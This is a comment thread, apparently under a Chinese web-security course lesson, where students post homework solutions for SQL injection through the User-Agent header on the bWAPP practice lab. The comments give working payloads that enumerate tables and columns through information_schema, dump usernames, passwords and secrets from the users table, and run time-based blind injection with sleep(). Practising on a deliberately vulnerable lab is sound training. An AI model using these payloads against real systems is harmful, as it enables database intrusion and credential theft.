• 爱的伊苏
    2020-08-03
    三道作业题解 1 依次利用information_schema.tables information_schema.columns 查询,最后 select id from users limit 1 offset 0 可以参考get注入视频中的写法 2 还可以用布尔型和时间延迟注入 3 Kevin大佬已经说了时间延迟即可 如果看到这里你花了很久还没完成注入欢迎来看看~ https://github.com/aideyisu/CTF/blob/master/doc/HTTP头注入.md

    作者回复: 感谢同学的认真学习和分享~

    
    3
  • Kevin⚡️Zhou
    2020-07-27
    对于课后作业, 我的理解是, 我们仍然可以通过时间盲注的方式来进行相应操作, 例如: 我们将字段位置调换后, 将最后一个字段的值变成如下: 23'+ (select 1 from (select user()) as t where length((select database())) = 5 and sleep(2))); # 这样的话还是可以实现时间盲注的攻击方法. 当然这个query可以根据不同的需求进行相应的变化

    作者回复: cool~ 是对的

    共 2 条评论
    1
  • CoffeeMilk
    2023-01-18 来自云南
    解题思路: 1、利用SQL盲注完成HTTP头注入:(使用Burpsuit的重发器【Repeater】操作) 《1》获取到当前数据库名称(User-Agent: testAgent',database()) # ) 《2》获取到当前数据库包含的表数量(User-Agent: testAgent',(SELECT count(*) from information_schema.tables WHERE table_schema=database())) # ) 《3》获取到当前数据库包含指定数量的表名称(User-Agent: testAgent',(SELECT GROUP_CONCAT(table_name SEPARATOR '\n') from information_schema.tables WHERE table_schema=database() LIMIT 0,5)) # ) 《4》获取到指定表对应的所有列名称(User-Agent: testAgent',(SELECT GROUP_CONCAT(column_name SEPARATOR '\n') from information_schema.COLUMNS WHERE table_name='users')) # ) 《5》获取到用户表对应的列信息(User-Agent: testAgent',(SELECT GROUP_CONCAT(CONCAT_WS('\n',login,password,secret) SEPARATOR '\n') from users)) # ) 如果合并内容后在界面显示信息不全,那么我们只能一列一列的取读取数据(使用LIMIT函数限制) 《5》获取到指定表对应的数据行数(User-Agent: testAgent',(SELECT COUNT(*) from users)) # ) 《6》根据获取到的数据行数一行一行读取(User-Agent: testAgent',(SELECT GROUP_CONCAT(CONCAT_WS('\n',login,password,secret) SEPARATOR '\n') from users LIMIT 0,1)) # ) 3、如果注入的userAgent为最后一列的注入思路:(主线是采用bool结合时间盲注) 使用bool结合时间盲注进行判定:具体的可以参考【https://gitee.com/kafeiweimei/b-wapp-range-clearance/tree/master/%E6%BC%8F%E6%B4%9E%E7%B1%BB%E5%9E%8B%E5%92%8C%E8%A7%A3%E5%86%B3%E6%80%9D%E8%B7%AF】内容操作: 大致思路为: ①获取数据库名称的长度【database()函数获取当前数据库名称、Length()函数获取长度】; ②根据数据库名称的长度进行逐一截取数据库名称的每个字符与ASCII匹配结合时间注入进行判定【substr()函数截取,ASCII()函数将字符转为数字、sleep()函数为时间盲注】 ③对匹配上的每个数字在转为ASCII字符即可 字符串后【使用bool结合时间盲注】操作可以参考如下函数: 【SELECT if(1=1,1,0)】示例:【SELECT 'test'+(if(LENGTH(DATABASE())=5,1,0) and sleep(2))】; 【SELECT 'test'+(1=1 and LENGTH(DATABASE())=5 and sleep(2))】
    展开
    
    1
  • lyon
    2021-02-28
    0.找出bWAPP下的表 mm', (select group_concat(table_name) from information_schema.tables where table_schema='bWAPP')); # 1.查询users表中的列名 mm', (select group_concat(column_name) from information_schema.columns where table_schema='bWAPP')); # 2.查询users表中的登录名login mm', (select group_concat(login) from users )); # 3.查询密码password mm', (select password from users where login='A.I.M.' )); # 此处如果显示所有的密码字段,会由于字节数限制显示不完全
    共 1 条评论
    